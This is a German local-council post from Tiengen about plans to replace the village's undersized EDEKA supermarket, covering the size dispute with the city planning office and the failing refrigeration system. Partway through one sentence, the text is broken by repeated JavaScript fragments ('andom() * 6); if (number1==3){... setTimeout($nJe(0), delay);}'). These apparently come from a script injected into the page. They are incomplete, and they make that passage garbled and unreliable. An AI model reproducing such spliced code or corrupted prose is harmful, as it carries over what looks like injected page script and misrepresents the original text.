EDEKA-Markt in Tiengen

  • UWerner
  • 12. März 2018
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Die  Bewohner von Tiengen wollen endlich eine Lösung bzw. eine verbindliche Zusage von der Stadt, dass die Grundversorgung mit einem Vollsortimenter auch in der Zukunft in Tiengen  bestehen bleibt.
Der derzeitige Markt will ein neues Gebäude errichten, das den Anforderungen der Bürger entspricht. Maßstab ist die Größe der umliegenden Märkte ewie Merdingen, St. Georgen, Schallstadt und Bad Krozingen.
Die Marktgröße muss für den Betreiber wirtschaftlich und zukunftsorientiert sein  und sollte für die Tiengener Bewohner an Attraktivität gewinnen. Ein Streitpunkt zwischen den Markteinhabern und dem Stadtplanungsamt ist jedoch die Größe des Marktes, und da die Stadt  an einem Märktekonzept festhält , gibt es hier im Augenblick keinen Konsens. Auf der andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen Seite hat der derzeitige Betreiber massive Probleme mit der Kühlanlage, die überaltert und von den Kühlmitteln nicht mehr zeitgemäß ist und sieht sich möglicherweise gezwungen, das Kühlsystem aufzugeben. Das jedoch würde zu einem Rückbau führen und wir in Tiengen müssten uns mit einem Treff 2000 zufrieden geben, bis  der Neubau schließlich genehmigt wird.
Der Ortschaftsrat hat eine Exkursion unternommen, sich verschiedene Märkte in der Region angesehen und hat auch die EDEKA-Hausmesse in Karlsruhe vor Ort besichtigt.
Nach der Schließung des Schlecker-Marktes in Tiengen (150m²),  der Schließung der örtlichen Metzgerei (100m²) wegen Personalmangels sowie aufgrund des Angebotes der Alnatura- Produktpalette ist die jetzige Fläche unseres Marktes viel zu klein, um das fehlende Sortiment ausreichend auszubauen.
Der Ortschaftsrat wird die Dezernenten nochmals daran erinnern, dass wir im Jahr 2017 bei einem Austausch in Waltershofen die Zusage erhielten, dass wir das Gewerbegebiet „Im Maierbrühl“ weiter entwickeln könnten und den damit verbundenen Neubau des EDEKA-Marktes so schnell wie möglich realisieren sollten.
Wir werden die Ortschaft weiter darüber informieren, wo die Schwachstellen liegen, bei denen wir nicht weiter kommen.
(Maximilian Schächtele)

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